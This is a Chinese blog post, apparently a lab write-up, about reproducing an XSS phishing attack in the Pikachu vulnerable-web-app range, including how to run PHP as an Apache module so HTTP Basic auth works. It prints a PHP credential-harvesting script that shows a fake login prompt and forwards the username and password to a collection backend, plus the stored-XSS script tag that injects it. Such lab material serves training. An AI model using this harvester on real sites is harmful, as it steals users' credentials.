首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Pikachu漏洞靶场系列之XSS钓鱼攻击后续

Pikachu漏洞靶场系列之XSS钓鱼攻击后续

作者头像
Naraku
发布2021-07-29 11:04:49
2.1K0
发布2021-07-29 11:04:49
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

首发于Freebuf - Pikachu靶场系列之XSS钓鱼攻击与PHP中的HTTP认证,转载需注明出处。

前言

最近在Pikachu靶场中复现钓鱼攻击时,最后一步Basic认证后数据无法发送到后台,而是一直重复弹出认证提示框。经过一番折腾后终于发现了原因并解决。

原因

先贴出后台fish.php代码

<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
    header('Content-type:text/html;charset=utf-8');
    header("WWW-Authenticate: Basic realm='认证'");
    header('HTTP/1.0 401 Unauthorized');
    echo 'Authorization Required.';
    exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
    header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
    &password={$_SERVER[PHP_AUTH_PW]}");
    exit;
}

?>

这里可以看到,基本逻辑是判断_SERVER['PHP_AUTH_USER']或_SERVER['PHP_AUTH_PW']是否为空,若为空则弹窗认证框。但是发现无论怎么输入,都是一直循环弹认证框,猜测输入的内容没有传到这2个变量。于是我将var_dump(_SERVER)的注释移除,看看_SERVER变量里到底有哪些数据

array(44) { 
  ["PATH"]=> string(726) "G:\XShell6\;...E:\Git\bin;" 
  ["SYSTEMROOT"]=> string(10) "C:\WINDOWS" 
  ["COMSPEC"]=> string(27) "C:\WINDOWS\system32\cmd.exe" 
  ["PATHEXT"]=> string(53) ".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC" 
  ["WINDIR"]=> string(10) "C:\WINDOWS" 
  ["PHP_FCGI_MAX_REQUESTS"]=> string(4) "1000" 
  ["PHPRC"]=> string(31) "G:/phpStudy/php/php-7.0.12-nts/" 
  ["_FCGI_SHUTDOWN_EVENT_"]=> string(4) "2312" 
  ["SCRIPT_NAME"]=> string(29) "/pikachu/pkxss/xfish/fish.php" 
  ["REQUEST_URI"]=> string(29) "/pikachu/pkxss/xfish/fish.php" 
  ["QUERY_STRING"]=> string(0) "" 
  ["REQUEST_METHOD"]=> string(3) "GET" 
  ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1" 
  ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1" 
  ["REMOTE_PORT"]=> string(4) "1278" 
  ["SCRIPT_FILENAME"]=> string(44) "G:/phpStudy/WWW/pikachu/pkxss/xfish/fish.php" 
  ["SERVER_ADMIN"]=> string(18) "admin@phpStudy.net" 
  ["CONTEXT_DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW" 
  ["CONTEXT_PREFIX"]=> string(0) "" 
  ["REQUEST_SCHEME"]=> string(4) "http" 
  ["DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW" 
  ["REMOTE_ADDR"]=> string(9) "127.0.0.1" 
  ["SERVER_PORT"]=> string(2) "80" 
  ["SERVER_ADDR"]=> string(9) "127.0.0.1" 
  ["SERVER_NAME"]=> string(9) "127.0.0.1" 
  ["SERVER_SOFTWARE"]=> string(52) "Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9" 
  ["SERVER_SIGNATURE"]=> string(0) "" 
  ["SystemRoot"]=> string(10) "C:\WINDOWS" 
  ["HTTP_COOKIE"]=> string(36) "PHPSESSID=i8puesvk7tu2s13kokh88qgtu1" 
  ["HTTP_ACCEPT_LANGUAGE"]=> string(14) "zh-CN,zh;q=0.9" 
  ["HTTP_ACCEPT_ENCODING"]=> string(17) "gzip, deflate, br" 
  ["HTTP_SEC_FETCH_MODE"]=> string(8) "navigate" 
  ["HTTP_SEC_FETCH_SITE"]=> string(4) "none" 
  ["HTTP_ACCEPT"]=> string(124) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" 
  ["HTTP_SEC_FETCH_USER"]=> string(2) "?1" 
  ["HTTP_USER_AGENT"]=> string(115) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 
  ["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1" 
  ["HTTP_CACHE_CONTROL"]=> string(9) "max-age=0" 
  ["HTTP_CONNECTION"]=> string(5) "close" 
  ["HTTP_HOST"]=> string(9) "127.0.0.1" 
  ["FCGI_ROLE"]=> string(9) "RESPONDER" 
  ["PHP_SELF"]=> string(29) "/pikachu/pkxss/xfish/fish.php" 
  ["REQUEST_TIME_FLOAT"]=> float(1580478129.2173) 
  ["REQUEST_TIME"]=> int(1580478129) 
} 
Authorization Required.

这里可以看到根本没有_SERVER['PHP_AUTH_USER']和_SERVER['PHP_AUTH_PW']这2个变量。经过搜索找到了原因:PHP的HTTP认证机制仅在PHP以Apache模块方式运行时才有效,因此该功能不适用于CGI版本。通过phpinfo()页面可以看到Server API为CGI/FastCGI。

php-basic-1
php-basic-1

解决

所以现在可以知道,只需将PHP以模块模式运行即可使HTTP认证机制生效。而phpStudy默认是以CGI/FastCGI模式运行,如果想以模块方式运行,则需要重新安装Apache。

安装Apache

  • 首先下载Apache。Apache要在VC运行库里运行,如果没有VC库也可以在该页面下载对应的VC14VC15
  • 下载完成后解压到指定目录,打开Apache24/conf/httpd.conf文件,找到Define SRVROOT,将/Apache24修改为解压目录
Define SRVROOT "G:\Apache24"
  • 然后使用管理员权限打开CMD,执行以下命令
G:\Apache24\bin\httpd.exe -k install -n apache
  • 进入bin目录,运行ApacheMonitor.exe。在托盘处左键点击Apache小图标,选择start,然后访问localhost测试

配置PHP

  • 关于PHP的版本选择需要注意以下几点
    • VC版本:以模块模式运行,需要VC版本库一致,前面Apache是VC15,所以PHP也要选择VC15。并且如果电脑上没有VC15运行库,需要另外安装。
    • TS/NTS:TS是指具有多线程功能的构建,NTS仅指单线程构建。NTS一般适用于CGI/FastCGI,因此这里需要选择TS
    • x86/x64:前面Apache是x86,尽量选择一致的,避免各种不兼容。所以选择x86
    • 总结:如果你的Apache版本和我的一样:httpd-2.4.41-o111c-x86-vc15-r2,那么PHP请选择:php-7.x.x-Win32-vc15-x86.zip
  • 下载PHP并解压
  • 打开Apache的httpd.conf文件,在最后面增加配置
# 此处修改为你的PHP目录
LoadModule php7_module G:/php/php7apache2_4.dll
PHPIniDir G:/php
AddType application/x-httpd-php .php
  • 重启Apache,并Apache安装目录下的htdocs目录新建一个test.php,写入以下内容:
<?php
  phpinfo();
?>
  • 最后通过浏览器访问:http://localhost/test.php,可以看到Server APIApache 2.0 Handler
php-basic-2
php-basic-2

复现钓鱼攻击

  • 先把PHP安装目录下的php.ini-production文件复制一份并重命名为php.ini,然后打开
  • 找到extension = mysqli,将前面;去掉
  • 找到extension_dir = "ext",将前面;去掉,并修改为PHP路径下的ext
extension_dir = "G:/php/ext"
  • Pikachu靶场复制到htdocs目录下,并开启MySQL。这里使用的是phpStudy环境,由于Apache已经另外安装并开启了,因此这里只需要单独启动MySQL即可
php-basic-3
php-basic-3
  • 浏览器访问:http://127.0.0.1/pikachu/vul/xss/xss_stored.php,插入恶意代码
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>
  • 另开一个浏览器,模拟普通用户访问http://127.0.0.1/pikachu/vul/xss/xss_stored.php,弹框输入账号密码,输入后点击确定
php-basic-4
php-basic-4
  • 此时,黑客可从后台看到账号密码。至此,整个实验终于结束了
php-basic-5
php-basic-5
  • 相关ApachePHP以及VC15库已打包放在文末

其它

  • 若要卸载Apache,可在命令行输入
sc delete apache

PHP运行模式

这里说明一下PHP的运行模式,共有4种:

  • CGI协议模式:该模式允许web服务器通过特定的协议与应用程序通信。由于每次用户请求都得fork创建进程调用一次程序,然后销毁进程,所以性能较低,调用原理大概为:
    • 用户请求
    • Web服务器接收请求
    • fork子进程调用程序/执行程序
    • 程序返回内容/程序调用结束
    • Web服务器接收内容
    • 返回给用户
  • Fast-CGI协议模式:CGI协议模式升级版。它像是一个常驻型CGI,只要开启就可一直处理请求,不再需要结束进程。调用原理大概为:
    • Web服务器Fast-CGI进程管理器初始化
    • 预先fork n个进程用户请求
    • Web服务器接收请求
    • 交给Fast-CGI进程管理器
    • Fast-CGI进程管理区接收,给其中一个空闲Fast-CGI进程处理
    • 处理完成,Fast-CGI进程变为空闲状态,等待下次请求
    • web服务器接收内容
    • 返回给用户
  • Apache 2.0 Handler模块模式:Apache+PHP运行时,默认使用的是模块模式,它把PHP作为Apache的模块随Apache启动而启动,PHP进程和Apache进程合一块。接收到用户请求时则直接通过调用mod_php模块进行处理。 模块模式是以mod_php5模块的形式集成,此时mod_php5模块的作用是接收Apache传递过来的PHP文件请求,并处理这些请求,然后将处理后的结果返回给Apache。如果我们在Apache启动前在其配置文件中配置好了PHP模块(mod_php5),PHP模块通过注册Apache2的ap_hook_post_config挂钩,在Apache启动的时候启动此模块以接受PHP文件的请求
  • PHP-Cli模式:命令行模式。该模式不需要借助其他程序,直接输入php xx.php就能执行PHP代码,命令行模式和常规web模式明显不一样有以下几点
    • 没有超时时间
    • 默认关闭Buffer缓冲
    • STDINSTDOUT标准输入/输出/错误的使用
    • echo var_dumpphpinfo等输出直接输出到控制台
    • 可使用的类/函数 不同
    • php.ini配置的不同

其它

相关文件:请前往博客共享网盘下载

参考文章:


本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020 年 02 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 原因
  • 解决
    • 安装Apache
      • 配置PHP
        • 复现钓鱼攻击
          • 其它
          • PHP运行模式
          • 其它
          相关产品与服务
          云数据库 MySQL
          腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档